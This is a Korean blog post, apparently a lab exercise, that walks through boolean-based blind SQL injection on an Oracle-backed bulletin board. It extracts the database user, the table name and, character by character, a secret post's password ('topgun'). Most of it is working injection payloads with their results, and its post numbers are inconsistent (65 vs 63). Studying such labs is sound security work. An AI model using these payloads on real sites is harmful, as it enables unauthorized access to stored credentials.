Oh! JUN

데이터 추론 기법(아스키코드) 실습 본문

웹 해킹/SQL Injection

데이터 추론 기법(아스키코드) 실습

Kwon Oh! JUN 2022. 8. 30. 20:44

※ 목표 : 게시판 비밀글 PASSWORD 알아내기

※ 조건 :  컬럼 : 'PASSWORD' / IDX = 65

## 비순차적 찾기


1-1. 사용자(DB)이름 문자열 개수

 

idx=61 and length((select user from dual))=14

- 사용자(DB) 문자열 수가 14개라서 게시판 내용이 출력되는걸 확인할 수 있다.

 


 

※ 비밀글은 idx=63인데 61로 하는 이유는?

- 비밀글이어서 PASSWORD 없이 접속 자체가 불가능해서 조건값에 맞는 결과값의 참 거짓 여부를 알 수가 없다.


- 그래서 공개글을 활용해서 조건에 따른 값이 참이면 게시판에 있는 내용이 출력될것이고 거짓이면 오류가 뜬다.


 

 

1-2. 사용자(DB) 이름 찾기

idx=61 and ascii(substr((select user from dual),1,1))=67 C
idx=61 and ascii(substr((select user from dual),2,1))=35 #
idx=61 and ascii(substr((select user from dual),3,1))=35 #
. . . ...CREHACKTIVE

 

 

2-1. 테이블 이름 문자열 개수

idx=61 and length((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2))=8

- 사용자(DB)명(owner='C##CREHACKTIVE')이 'C##CREHACKTIVE'이고 컬럼명(column_name='PASSWORD')이 'PASSWORD'인 2열(a.r=2)의 테이블이름을 조회


 

 

2-2 테이블 이름 찾기

 

idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),1,1))=84 T
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),2,1))=66 B
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),3,1))=95 _
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),4,1))=66 B
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),5,1))=79 O
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),6,1))=65 A
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),7,1))=82 R
idx=61 and ascii(substr((select table_name from (select rownum r, table_name from all_tab_columns where owner='C##CREHACKTIVE' and column_name='PASSWORD')a where a.r=2),8,1))=68 D

3-1. 컬럼 찾기

조건에 컬럼이 PASSWORD임이 제시됨.

 


 

 

4-1. DATA 문자열 개수

idx=61 and length((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63))=6


 

 

4-2. DATA

idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1))=116 t
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),2,1))=111 o
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),3,1))=112 p
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),4,1))=103 g
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),5,1))=117 u
idx=61 and ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1))=110 n

 


PASSWORD : topgun